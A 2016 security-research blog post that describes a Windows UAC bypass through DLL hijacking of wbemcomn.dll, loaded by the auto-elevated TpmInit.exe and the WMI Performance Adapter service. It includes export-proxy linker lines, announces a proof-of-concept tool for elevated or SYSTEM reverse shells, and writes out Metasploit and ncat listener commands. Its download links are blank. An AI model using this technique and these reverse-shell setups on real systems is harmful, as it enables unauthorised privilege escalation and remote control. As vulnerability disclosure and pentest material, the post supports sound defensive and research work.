woensdag 17 augustus 2016

Bypassing User Account Control (UAC) using TpmInit.exe

Bypassing User Account Control (UAC) using TpmInit.exe

By Cornelis de Plaa – August 2016

There's a lot going on lately regarding bypassing Microsoft's User Account Control (UAC), thanks to some great findings by Matt Nelson. So while being in this momentum, i thought this would be the right time to release a bypass i recently found.

I like to dig around in Process Monitor to see what's going on in the background of the system while executing some tasks. This helps me a lot understanding the system and is also a great way to find (security) misconfigurations. A couple of weeks ago i was digging around in ProcMon while running some auto-elevated binaries to see what's going on in the background. Using some specific filters it didn't take me much time to find out that one of the executables i was running (TpmInit.exe) was searching for a dll named wbemcomn.dll in the wrong path. 

We know this happens a lot while running executables and in some cases can be used to hijack program flow using dll hijacking. In this case it was even more interesting because TpmInit.exe is running as a High Integrity (Elevated) process, so if we can manage to load a custom dll we planted in the C:\Windows\System32\wbem folder, we could effectively bypass UAC.
So the first thing i tried (of course :) was to create a custom version of the wbemcomn.dll with a simple MessageBox function being executed from within the DllMain entrypoint.
Unfortunately TpmInit.exe refused to swallow this custom dll and crashed because of missing functions...
So next thing i tried was to load the dll within IDA to see which functions it actually exports and as you can see, there are a lot (1361 by ordinal).

So the next thing i tried was to create a dll which intercepts/proxies the needed function calls to the official wbemcomn dll which lives in c:\windows\system32.
For this i used a tool named  ExportsToC++ which  converts an assembly’s exported function list to C++ formatted code:

#pragma comment (linker, "/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]
#pragma comment (linker, "/export:??1CEventLog@@QEAA@XZ=c:/windows/system32/wbemcomn.??1CEventLog@@QEAA@XZ,@187")

After adding all the function exports/redirects to my custom wbemcomn dll, TpmInit.exe was happily eating the new DLL :)

So now we can influence the program flow of TpmInit.exe, but how do we get our custom dll into this wbem folder without UAC kicking in? Before Windows 10 we could have used the Windows Update Standalone Installer (wusa.exe) to copy to our secure location, but this isn't working anymore within Windows 10.
So we have to use a technique founded by Leo Davidson in which we inject a DLL into explorer.exe which creates an instance of the IFileOperation COM object, disables the Elevation prompt using the SetOperationFlag method and uses the CopyItem operation to copy our DLL into the wbem folder. 

So now we solved that privilege copy issue, we can create our PoC code and have fun, but wait... there's more....

There are even more programs/services that depend on the wbemcomn dll and are happy to swallow our custom dll from the wbem folder (even our wellbeloved ProcMon and Process Explorer). And some of them are actually running with system privileges. So why not try to get System privs out of this issue, while we already have influence on a High Integrity process?

 For this i found the perfect target namely the "WMI Performance Adapter" service (or wmiApSrv).

This service provides performance library information from Windows Management Instrumentation (WMI) providers to clients on the network and only runs when Performance Data Helper is activated. The nice thing about this services is that it's normally not running (i have seen it only running right after booting for a minute or two), has no dependencies and when it's running, it's using system privileges. 

What's even more interesting, is when we start this services it is eating our custom DLL for breakfast, so this could be the perfect target to get into System Integrity. 

As you can see from the above screenshot, is that TpmInit.exe as well as the wmiApSrv service are loading our custom dll and also the official dll (because of the function redirects).
In the PoC code i created, i had to make sure that the dll (and process) exits after running it's malicious payload, otherwise you get stuck with a dll that cannot be cleaned up because it's still in use by these processes.

So now having this knowledge, i created a Proof of Concept tool in C/C++ called TpmInitUACBypass in which i wrapped up all the above steps. This tool can be used to Bypass User Account Control, to get a High Integrity (or SYSTEM) Reversed Command shell, a reversed PowerShell session, or a Reversed Meterpreter session.

* The source code of this tool can be found here: 

For the latest version of Windows 10 "with the Anniversary Update applied" (Version 1607), i had to create a custom version of the tool, because Microsoft changed a lot exported function within wbemcomn.dll, so i had to create a new version of the dll with the changed export calls.
Except from those function call changes, the dll loading issue still exists....

* Source code of the Windows 10 Anniversary version can be found here:

* Both compiled version are available from here:

Now let's do a quick demonstration of the bypass:

When you're doing a pentest, you sometimes land on a target on which you are a member of the local Administrators group, but UAC is ruin the fun because of the limited token privileges you have...
If the UAC settings are set to default, you can try to escalate your Token privileges using a UAC bypass (see demo below).

The Meterpreter payload within TpmUACBypass needs the following options for the listener:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit -j

Listening host and port settings depends on your network situation, but it's important to alway's use the x64 version of the reverse_tcp listener because we run this tool from a x64 process!

Running the tool to get a new "Elevated" reversed Meterpreter session:

As you can see, our Meterpreter payload is running within RunDll32.exe with High Integrity.

Same can be done to get straight into System Integrity:

Now our RunDll32.exe process is running with System privileges:

Same can be done to get a reversed PowerShell or Cmd session (High Integrity or System).

For this we have to setup a remote netcat or ncat listener (i think powercat will also work):

For example: KickAss@PenTestBox:~$ sudo ncat -lvp 443

Reversed PowerShell :)

This can be seen from Process Explorer like this:

So as you have seen from the demonstration above, TpmInit.exe (and the wmiApSrv service) can be very effectively used to bypass UAC and escalate to a High or System Integrity privilege level.
So how can we remediated this issue?
  • We could change the default settings of User Account Control to Always notify...
  • But your best option is to avoid using Administrative priviliges at all for day to day usage.  
 What's Microsoft's opinion about bypassing User Account Control?
  • UAC is not a security feature. It's a convenience feature that acts as a forcing function to get software developers to get their act together, so bypassing it doesn’t classify as a security vulnerability. 
What's next?
  • In the meanwhile i found some more auto-elevated binaries with dll loading issues, so maybe we can expect more bypasses to come...

That's all Folks ;)

2 opmerkingen: